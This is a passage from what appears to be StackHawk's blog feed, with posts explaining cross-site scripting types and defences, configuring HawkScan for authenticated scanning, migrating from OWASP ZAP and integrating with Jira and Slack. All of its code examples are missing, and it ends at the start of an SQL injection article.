malicious script into a legitimate, trusted website to access personal data of other users, control their browser, or in severe cases, control the application itself.  &lt;/p&gt;&lt;p&gt;Attacks like these can be split into two parts:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Initialization of the Attack: The attacker sends data, most often a malicious script, through an untrusted source in a web application like a text field or a URL. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Execution of the Attack: The data is received by an unsuspecting user without being validated, and the user opens and executes it. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Cross-site scripting attacks are typically written as JavaScript segments. Even something as simple as a URL can be manipulated by attackers if not handled properly.&lt;/p&gt;&lt;p&gt;For example, this URL may be vulnerable if the search term is not handled correctly by the developer: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;There are multiple types of XSS attacks attackers will try against a web app. Let’s dig in to these security bugs.&lt;/p&gt;&lt;h4&gt;Definition and Explanation&lt;/h4&gt;&lt;p&gt;Cross-site scripting (XSS) is a type of cyber attack that involves injecting malicious code into a trusted website. This malicious code is then delivered to a victim’s browser, allowing the attacker to steal sensitive information, take control of the user’s session, or perform other malicious actions. XSS attacks occur when a web application uses input from a user without validating or encoding it, allowing an attacker to inject malicious code into the application.&lt;/p&gt;&lt;p&gt;XSS attacks can be categorized into three main types: stored XSS, reflected XSS, and DOM-based XSS. Stored XSS occurs when malicious code is stored on the server and executed by the user’s browser. Reflected XSS occurs when malicious code is reflected back to the user’s browser from a web application. DOM-based XSS occurs when malicious code is executed by the user’s browser due to a vulnerability in the way the browser handles dynamic content. Let&amp;#39;s cover these XSS types in more detail below.&lt;/p&gt;&lt;h3&gt;What types of XSS are there?&lt;/h3&gt;&lt;h4&gt;Reflected XSS Attacks&lt;/h4&gt;&lt;p&gt;Reflected XSS attacks, also known as non-persistent XSS attacks, are considered the simplest form of XSS. In these attacks, an attacker passes a malicious script through a query, which is typically within a URL. Attackers can send this malicious link to unsuspecting users through anonymous emails, forums, or anonymous social media feeds.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When a user clicks on the malicious link, it is executed in the user’s browser. This type of attack is often used to send personal data of a user back to an attacker. This attack is very simple to exploit, which is one reason it is so popular and effective.&lt;/p&gt;&lt;h5&gt;Example of a Reflected XSS Attack&lt;/h5&gt;&lt;p&gt;Let’s get back to our cool app example. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here, the user searched “amisecure”. The application returns back what the user supplied, which should look like: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, if the web developer does not sanitize the input, the attacker can try a reflected XSS attack that looks like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This will output:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When clicked on by a user, this will run the malicious script in the browser, giving the attacker the ability to act as the user, view their information, and interact with other users.&lt;/p&gt;&lt;h4&gt;Persistent XSS Attacks&lt;/h4&gt;&lt;p&gt;Persistent XSS attacks, also known as stored XSS attacks, occur when an attacker identifies a vulnerability in a web application that allows for script injection. The attacker is able to inject a malicious script into the web application such that, when the webpage is visited, the personal data of the user is sent back to the attacker. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Social sharing websites are popular targets for persistent XSS attacks, as they offer an immediate entry point into the web application.&lt;/p&gt;&lt;h5&gt;Example of a Persistent XSS Attack&lt;/h5&gt;&lt;p&gt;Let’s get back to our cool app example. This time, the attacker is trying to launch a Persistent XSS attack from the comments section of your web app. They send the comment: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Which sends a POST request to your web app that looks like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This is now stored on your database as a comment. When a user navigates to this webpage and attempts to review the comments, the attacker’s comment will be interpreted in the browser as a script. It will subsequently execute the script and send the user’s cookie to the attacker, which the attacker can use to masquerade as the user.  &lt;/p&gt;&lt;h4&gt;DOM-based XSS Attacks&lt;/h4&gt;&lt;p&gt;A Document Object Model is an interface to treat an HTML document as a logical tree structure, where each node represents an object and part of the document. DOM-based XSS attacks actually write data to the DOM in the user&amp;#39;s browser. Attackers can use this to add a malicious script to a webpage. DOM-based XSS attacks differ significantly from other XSS attacks.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;It is difficult to defend DOM-based XSS attacks through server-side prevention, since the payload is not processed by the server. Instead, the attack is only preventable on the client side.  &lt;/p&gt;&lt;h5&gt;Example of a DOM-based XSS Attack&lt;/h5&gt;&lt;p&gt;This time, your cool app gathers the users language based on the default, as shown in the webpage source:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When viewed from, for example, a native Swahili speaker, the URL looks like:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And the DOM becomes:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;    &lt;/p&gt;&lt;p&gt;This JavaScript modifies the DOM directly with the calls to document.write. In order to take advantage of this, an attacker may inject a script instead:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When a user clicks on this link, it changes the webpage to:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;    &lt;/p&gt;&lt;p&gt;In this example, the attacker fetches the user’s cookie, which the attacker can use to masquerade as the user. However, any JavaScript could be in its place. &lt;/p&gt;&lt;h3&gt;How to Write Secure Code that Prevents XSS&lt;/h3&gt;&lt;h4&gt;Escape Untrusted HTTP Request Data&lt;/h4&gt;&lt;p&gt;To ensure no malicious data is being passed through your application to your users, escape any untrusted data in the HTTP response before rendering for the end user. By escaping user input, you can prevent untrusted data from being interpreted by your application in a malicious way.&lt;/p&gt;&lt;h4&gt;Other Helpful Tips &lt;/h4&gt;&lt;h5&gt;Validate Inputs&lt;/h5&gt;&lt;p&gt;Never assume user inputs from outside of the system are legitimate and to be trusted. Always validate incoming data to ensure it is not malicious and cannot impact your application or your users. Input validation alone is not a complete defense against XSS attacks, but will help reduce the impact if an attacker identifies a XSS bug.&lt;/p&gt;&lt;h5&gt;Use a Content Security Policy&lt;/h5&gt;&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;Content Security Policy&lt;/a&gt; (CSP) is made by Mozilla and specifically designed to help prevent attacks like XSS. In order to prevent XSS bugs, CSP will restrict the domains that the browser considers a valid source of executable scripts. &lt;/p&gt;&lt;h5&gt;Automate Testing for XSS in the Build Pipeline&lt;/h5&gt;&lt;p&gt;The best way to avoid XSS bugs in your application is to automate testing in the pipeline. We built StackHawk to help engineering teams find and fix security bugs like XSS and more, but there are also many other tools out there depending on your use case. Bottom line, use automation to help ensure you ship code that is free from security bugs.&lt;/p&gt;&lt;h2&gt;How Can StackHawk Help?&lt;/h2&gt;&lt;p&gt;At this point, we hope you’ve remedied your potential XSS vulnerability with help from the fix guide above. Although most developers are security conscious, it’s hard to always ensure that all your bases are covered when it comes to security. This is where a tool like &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;StackHawk&lt;/a&gt; can help to automate vulnerability detection and assist with fixes.&lt;/p&gt;&lt;p&gt;With StackHawk, it would have been easier to detect and fix the XSS vulnerability you just read about above. StackHawk is a &lt;a href=&quot;https://www.stackhawk.com/solutions/dast&quot;&gt;dynamic application security testing (DAST)&lt;/a&gt; tool that can scan your running application, locally or automatically in your CI/CD pipeline, and detect these types of vulnerabilities. Then StackHawk can give developers suggestions about how to fix these vulnerabilities in the most efficient manner. If you were using StackHawk, the XSS vulnerability you found and fixed would have been detected and reported to you, along with potential fixes. Below is an actual screenshot from StackHawk where an XSS vulnerability was found within an application, along with a link to a few fix cheatsheets.&lt;/p&gt;&lt;p&gt;
Along with detecting XSS vulnerabilities, StackHawk helps developers uncover hundreds of other types of potential vulnerabilities in their code. When you&amp;#39;re trying to create the most secure applications you possibly can, leaning on automation as part of your application security stack is a must. Trying out StackHawk is super easy and within minutes you’ll be able to identify and address potential security issues. You can try it out today by signing up for a free account &lt;a href=&quot;https://hubs.ly/Q01LC0zh0&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Already using a security tool? StackHawk’s &lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;DAST platform&lt;/a&gt; is complementary to many other security tools. Many security professionals recommend various types of tools to be included in your application security stack.
&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Security Testing Authenticated App Routes – Part 1: Cookie Authentication]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/security-testing-authenticated-app-routes-part-1-cookie-authentication</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Aaron Neff]]></dc:creator><content:encoded>&lt;h3&gt;May I see some ID?&lt;/h3&gt;&lt;p&gt;To the unaware, nothing says you don’t belong quite like a 400 level Unauthorized or Forbidden error message. To the maleficent, however, these messages reveal a potential hidden treasure trove of data available for exploitation. Given the typical web application undergoes an average of 13,279 attacks each month, (&lt;a href=&quot;https://www.contrastsecurity.com/hubfs/Observability-Report-July-2020/2020-Attack-Trends_Infographic_06222020_Final.pdf?__hssc=233546881.4.1605581817724&amp;__hstc=233546881.efb5d12c9964c10b46dde67978b237f1.1605581817724.1605581817724.1605581817724.1&amp;__hsfp=953947652&amp;hsCtaTracking=af0d1f89-b4e0-450f-bb56-248bebb4b6e4%7C4cd1e90b-017d-4f0b-b7a7-86ba4b329855&quot;&gt;source&lt;/a&gt; | Contrast Security) security testing is critical for ensuring only the right users have access to the right information.&lt;/p&gt;&lt;p&gt;When implementing security testing and vulnerability scanning, it is important to test all paths, including the authenticated routes. Only scanning public routes will give an incomplete picture of your web application’s security posture and cause you to miss the majority of vulnerabilities, which are often hidden behind a credentialed login.&lt;/p&gt;&lt;p&gt;As covered in our &lt;a href=&quot;https://www.stackhawk.com/blog/onboarding-2-authenticated-scanning/&quot;&gt;Onboarding Series&lt;/a&gt;, StackHawk supports the following types of automated authentication for security testing:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The rest of this article will focus on configuring StackHawk’s scanner, HawkScan, using Username/Password + Cookie Authorization, commonly implemented with form-based authentication.&lt;/p&gt;&lt;h3&gt;Configuring HawkScan&lt;/h3&gt;&lt;p&gt;Let’s assume you’ve implemented the following paths for your application.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Basic HawkScan Configuration (Public Routes):&lt;/b&gt;&lt;/p&gt;&lt;p&gt;First, we’ll begin with a basic configuration for HawkScan, which will only find the publicly available routes &lt;code&gt;/home, /login/&lt;/code&gt;, and &lt;code&gt;/comments.&lt;/code&gt; While only a partial picture of your application, this is still a great place to start to ensure the scanner is working as expected and able to find your environment.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Authenticated Configuration&lt;/b&gt; (Public + Protected Routes)&lt;/p&gt;&lt;p&gt;To enable HawkScan to find and test the protected routes you need to define the expected experience of an authenticated user. For example, what elements of your web application indicate that a user’s state is logged-in vs. logged-out? Additionally, it’s important to know where a user would navigate to login to your application, what pages are accessible after a login has been validated, and what would indicate success or failure. These elements are easily found using existing developer tools within your browser.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Developer Tools HTML Form Element&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Cookie Names&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Test Path &amp;amp; Success Criteria&lt;/p&gt;&lt;p&gt;Now that we’ve understood the experience of an authenticated user, we can use the information we’ve found to configuration our stackhawk.yml file.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Configuration Definitions:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;applicationId:&lt;/b&gt; Unique ID for organizing your scan results by app or microservice in the StackHawk Platform.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;env:&lt;/b&gt; The name of your staging environment, corresponding to your application in the StackHawk platform.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;host:&lt;/b&gt; The url of the application to scan.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;antiCsrfParam:&lt;/b&gt; The name of your &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#token-based-mitigation&quot;&gt;CSRF&lt;/a&gt; security parameter used in any application form inputs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;loggedInIndicator:&lt;/b&gt; When this regex pattern is present in the HTTP response (header or body), it signifies the user is logged-in. EX: logout link&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;loggedOutIndicator:&lt;/b&gt; When this regex pattern is present in the HTTP response (header or body), it signifies the user is logged out. EX: login link&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;loginPathPage:&lt;/b&gt; The path to your login form, if applicable. This is an optional path but is often required if the POST to the loginPath requires an anti-csrf token to be passed as part of the POST.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;loginPath:&lt;/b&gt; Your login route to POST credentials for a user in the application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;otherParams:&lt;/b&gt; Parameters required by your login payload in addition to login credentials.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;testPath:&lt;/b&gt; The path to a protected route in your application that requires authorization. Example: /mysettings.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;scanUsername &amp;amp; scanPassword:&lt;/b&gt; Credential values to be passed into the form’s usernameField and passwordField via environment variables or secret store.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Running the Scan&lt;/h3&gt;&lt;p&gt;All that’s left to do is run the scan. If you haven’t already, make sure you complete the following checklist to see successful scan results:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Install Docker&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create a stackhawk.yml file in the root directory of your application&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create an application at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;stackhawk.com&lt;/a&gt; and add the application id to the top of your YAML file.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensure the “host” value in your YAML file points to a running application&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Complete the YAML configuration following the steps outlined above&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create and API Key within your StackHawk profile settings&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Run the following docker command:&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Check out our &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;HawkDocs&lt;/a&gt; page for more information and additional configuration options.&lt;/p&gt;&lt;h3&gt;Summary&lt;/h3&gt;&lt;p&gt;You don’t have to be afraid of those Unauthorized or Forbidden error messages anymore! If you’re using HawkScan and see one of those messages, you now know how to fix the issue. Using those handy developer tools to better understand your authentication workflows and double-check your configuration file will put you on the path to successful scans and a more secure web application environment.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How to Migrate from ZAP to StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-to-migrate-zap-stackhawk</guid><category><![CDATA[ZAP]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[April Conger]]></dc:creator><content:encoded>&lt;p&gt;If you have used &lt;a href=&quot;https://www.zaproxy.org/&quot;&gt;OWASP ZAP&lt;/a&gt;, you know what a powerful tool it is for uncovering security issues in your application. You may also have noticed that automating it can be a challenge. To get a scan that covers your application adequately, you need to work within the ZAP Desktop environment to develop your contexts, policies, scripts, and authentication configurations. Then to automate it, you need to collect the various files where those elements are stored, and make them available to a &lt;a href=&quot;https://www.zaproxy.org/docs/docker/&quot;&gt;ZAP Docker image&lt;/a&gt; at runtime.&lt;/p&gt;&lt;p&gt;Once all of that upfront work is done, you can run ZAP in your build pipeline. It can then produce a detailed report on a schedule, or on every code commit. Developers and security engineers can examine those reports to look for new issues and decide how to address them.&lt;/p&gt;&lt;p&gt;If you’re getting value from ZAP, why should you consider migrating to StackHawk?&lt;/p&gt;&lt;h3&gt;StackHawk is Built for Teams and Automation&lt;/h3&gt;&lt;p&gt;StackHawk loves ZAP, and we use it as the heart of our scanner, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;HawkScan&lt;/a&gt;. But unlike ZAP, HawkScan has no desktop component. It is configured entirely from a single YAML file to consolidate all of its power into a CI/CD-friendly package that is built for automation. And it improves upon some of ZAP’s core capabilities, such as OpenAPI ingestion and GraphQL scanning.&lt;/p&gt;&lt;p&gt;HawkScan is also backed by the StackHawk cloud platform, which enables a ton of features not possible in a standalone scanner. For instance, the platform provides&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Slack and MS Teams integration to notify developers of new security findings as they are found&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Detailed evidence and tools for each scan finding to help developers understand and reproduce issues&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Historical reporting for individual applications to track trends and changes over time&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Jira integration to track issues to resolution, with rich detail filled in by default&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Triage actions to mark false positives, accept known issues, or assign findings for further action&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It is tough to overstate the difference it makes for developers to be aware of new security issues as they are found on PR. Because the platform keeps track of scan results over time, it can surface &lt;i&gt;new&lt;/i&gt; vulnerabilities with clarity. Developers don’t have to pick through a report to identify new issues. They receive specific actionable information about new bugs while the code they have written is still fresh in mind, and while they are in code review.&lt;/p&gt;&lt;p&gt;Finally, StackHawk comes with support. We want &lt;i&gt;all&lt;/i&gt; of our customers to be successful, so we will bend over backwards to be responsive if you need a hand.&lt;/p&gt;&lt;h3&gt;Transitioning from ZAP to StackHawk&lt;/h3&gt;&lt;p&gt;If you run ZAP as a container in your continuous integration system, you will find the basic HawkScan Docker runtime command familiar. HawkScan expects to be deployed from within a clone of your application repository, and to mount that repository as a volume so it can reach your HawkScan configuration file, &lt;code&gt;stackhawk.yml&lt;/code&gt;. The following command is typical, with the StackHawk platform API key delivered as an environment variable, &lt;code&gt;API_KEY&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When it comes to configuration, HawkScan is a very different animal from ZAP. There are currently no configuration files that you can lift or automatically convert from ZAP to HawkScan. But you will find the configuration process to be more straightforward since it is constrained to a single YAML file, which you can check into source control alongside the code for the application you are scanning.&lt;/p&gt;&lt;p&gt;The lessons you learned about how your app works from using ZAP will give you an advantage over newcomers to DAST scanning in general. That is especially true when it comes to configuring authentication so that HawkScan can probe the full depth of your application.&lt;/p&gt;&lt;h3&gt;StackHawk Step By Step&lt;/h3&gt;&lt;p&gt;If you’re ready to give it a try, here’s a plan you can follow to see some quick results.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Sign up for a free account&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create a minimal StackHawk configuration&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Run a scan from the command line&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;☝️ You can get this far in 20 minutes, no problem. Then if you’re ready to go a little deeper, continue with…&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Add authentication&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add some scan features&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Put it in your pipeline&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;You can follow this guide with your own application, or use our test app, &lt;a href=&quot;https://github.com/kaakaww/javaspringvulny&quot;&gt;JavaSpringVulny&lt;/a&gt;. That’s what I used to write my examples below. To run it, just clone the repository and run &lt;code&gt;docker-compose up --build -d&lt;/code&gt; to build and run it. It will listen on port 9000, and you can explore it in a browser at https://localhost:9000.&lt;/p&gt;&lt;h4&gt;1. Sign Up for a Free Account&lt;/h4&gt;&lt;p&gt;Head over to &lt;a href=&quot;https://app.stackhawk.com&quot;&gt;https://app.stackhawk.com&lt;/a&gt; and sign up for a free account. Create an API key and application. Snag a copy of your API key and the application ID for the application you just created.&lt;/p&gt;&lt;h4&gt;2. Create a Minimal StackHawk Configuration&lt;/h4&gt;&lt;p&gt;Here’s the simplest possible configuration for a StackHawk scan.&lt;/p&gt;&lt;p&gt;&lt;code&gt;stackhawk.yml&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Set &lt;code&gt;app.applicationId&lt;/code&gt; to the app ID for the app you just created in the platform. And set the &lt;code&gt;app.host&lt;/code&gt; value to the target of your scan.&lt;/p&gt;&lt;h4&gt;3. Test It on the Command Line&lt;/h4&gt;&lt;p&gt;Export your StackHawk API key as an environment variable, &lt;code&gt;API_KEY&lt;/code&gt;, and run a scan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You should see the scan start up, display a summary of results to the console, and provide a link to your scan results in the platform. Go check the platform for your results. Congratulations! You have your first scan!&lt;/p&gt;&lt;h4&gt;4. Add Authentication&lt;/h4&gt;&lt;p&gt;To give HawkScan access to your web app’s secure routes, you will want to add authentication. This part is usually the most challenging aspect of any DAST scan. There are just so many ways an application can handle authentication! If you already have it working in ZAP, you have a head start, because that means you have a good understanding of how your application’s authentication works.&lt;/p&gt;&lt;p&gt;Since this is a big subject, please refer to our official &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;Authenticated Scanning&lt;/a&gt; documentation for some great detailed examples of common scenarios.&lt;/p&gt;&lt;p&gt;For JavaSpringVulny, I used the common scenario of &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/form-based-authentication.html&quot;&gt;username/password authentication to extract a bearer token&lt;/a&gt;. In this configuration, we POST a JSON object with &lt;code&gt;{&amp;quot;username&amp;quot;:&amp;quot;user&amp;quot;, &amp;quot;password&amp;quot;,&amp;quot;password&amp;quot;}&lt;/code&gt; to the login path &lt;code&gt;/api/jwt/auth/signin&lt;/code&gt;, and extract a JWT token from the &lt;code&gt;token&lt;/code&gt; field of the returned JSON object. Then to authenticate to the API for subsequent requests, we add that as a bearer token to the &lt;code&gt;Authorization&lt;/code&gt; request header. We also exclude the path &lt;code&gt;/logout&lt;/code&gt; from our scan to prevent the scanner from logging itself out.&lt;/p&gt;&lt;p&gt;&lt;code&gt;stackhawk.yml&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now scan, using the same command line as before.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If there are any problems with your authentication setup, HawkScan will fail with an error message to help you pinpoint the problem. If you struggle with this, send us a message at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt;, and we will be happy to help. Yes, even with the free plan.&lt;/p&gt;&lt;p&gt;When you get authentication working, give yourself a pat on the back. That’s a big deal!&lt;/p&gt;&lt;h4&gt;5. Add Some Scan Features&lt;/h4&gt;&lt;p&gt;Now you can light up some other features. Check out the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/&quot;&gt;HawkScan Configuration&lt;/a&gt; documentation to read about your options, including the OpenAPI parser, GraphQL scanner, header replacers, and more.&lt;/p&gt;&lt;p&gt;JavaSpringVulny has a built-in OpenAPI endpoint at &lt;code&gt;/openapi&lt;/code&gt;. So I added that feature to better target all of the available endpoints in my scan. Here’s my updated configuration (with the authentication section collapsed for readability)&lt;/p&gt;&lt;p&gt;&lt;code&gt;stackhawk.yml&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you’re following along with the same app, you will notice that the scanner finds a lot more of the API routes with this setting enabled.&lt;/p&gt;&lt;h4&gt;6. Put It in Your Pipeline&lt;/h4&gt;&lt;p&gt;Your scan is looking great! Now it’s time to put it into your continuous integration pipeline so you can run it on every pull request.&lt;/p&gt;&lt;p&gt;Since my app repository already lives in GitHub, I used GitHub Actions to build, run, and scan my app for every pull request to the &lt;code&gt;main&lt;/code&gt; branch. I set up a GitHub Actions workflow using the &lt;a href=&quot;https://github.com/marketplace/actions/stackhawk-hawkscan-action&quot;&gt;HawkScan Action&lt;/a&gt; to simplify the configuration. And I stored my StackHawk API key as a GitHub &lt;a href=&quot;https://docs.github.com/en/actions/reference/encrypted-secrets&quot;&gt;secret&lt;/a&gt;, &lt;code&gt;HAWK_API_KEY&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Here’s what my GitHub Actions workflow configuration looks like.&lt;/p&gt;&lt;p&gt;&lt;code&gt;.github/workflows/build-and-scan.yml&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Check out our &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;Continuous Integration&lt;/a&gt; guides for details on how to run HawkScan in &lt;i&gt;your&lt;/i&gt; pipeline.&lt;/p&gt;&lt;h3&gt;Next Steps&lt;/h3&gt;&lt;p&gt;Your scan configuration is looking great at this point. But there is still so much to explore with StackHawk. Check out your &lt;a href=&quot;https://app.stackhawk.com/scans&quot;&gt;scan results&lt;/a&gt;. Triage some issues by taking &lt;a href=&quot;https://docs.stackhawk.com/web-app/scans.html#actions&quot;&gt;actions&lt;/a&gt; on them. Try recreating some of the findings with &lt;code&gt;curl&lt;/code&gt; using the &lt;a href=&quot;https://docs.stackhawk.com/web-app/scans.html#validate-finding&quot;&gt;&lt;b&gt;Validate&lt;/b&gt;&lt;/a&gt; button. Explore &lt;a href=&quot;https://app.stackhawk.com/integrations&quot;&gt;Integrations&lt;/a&gt; and connect StackHawk to Slack and Jira. And finally, invite some team members to join your organization.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Onboarding #5: Integrating StackHawk with Your Engineering Stack]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/onboarding-5-stackhawk-software-engineering-integrations</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Onboarding]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;Getting Started with StackHawk&lt;/h3&gt;&lt;p&gt;To help you get started, we have written this onboarding guide with all the tips and tricks about getting up and running with StackHawk. This post covers how to integrate your application security testing with the rest of your engineering stack.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Your application security testing should fit within the rest of your engineering workflow. Here are some suggestions to get started.&lt;/p&gt;&lt;h3&gt;Manage Findings in Jira&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Manage your StackHawk findings with the same tooling you use to prioritize other engineering work. Send bugs to Jira with the relevant details to manage prioritization discussion, and jump back into StackHawk from Jira links to get the details for troubleshooting the bug.&lt;/p&gt;&lt;p&gt;Read &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/jira.html&quot;&gt;our Jira docs&lt;/a&gt; for more info.&lt;/p&gt;&lt;h3&gt;AppSec Visibility with Slack&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Get notifications in Slack when a scan starts and completes so that you have visibility. Map your StackHawk applications and environments to specific channels so your teams only see relevant information.&lt;/p&gt;&lt;p&gt;That wraps up our HawkTips series to help you get started with StackHawk. Our team is always standing by, however, to help. You can always reach us at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is SQL Injection?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-sql-injection</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;SQL injections are one of the most common attack vectors used by attackers. In fact, as recently as 2019, SQL injection attacks, also referred to as 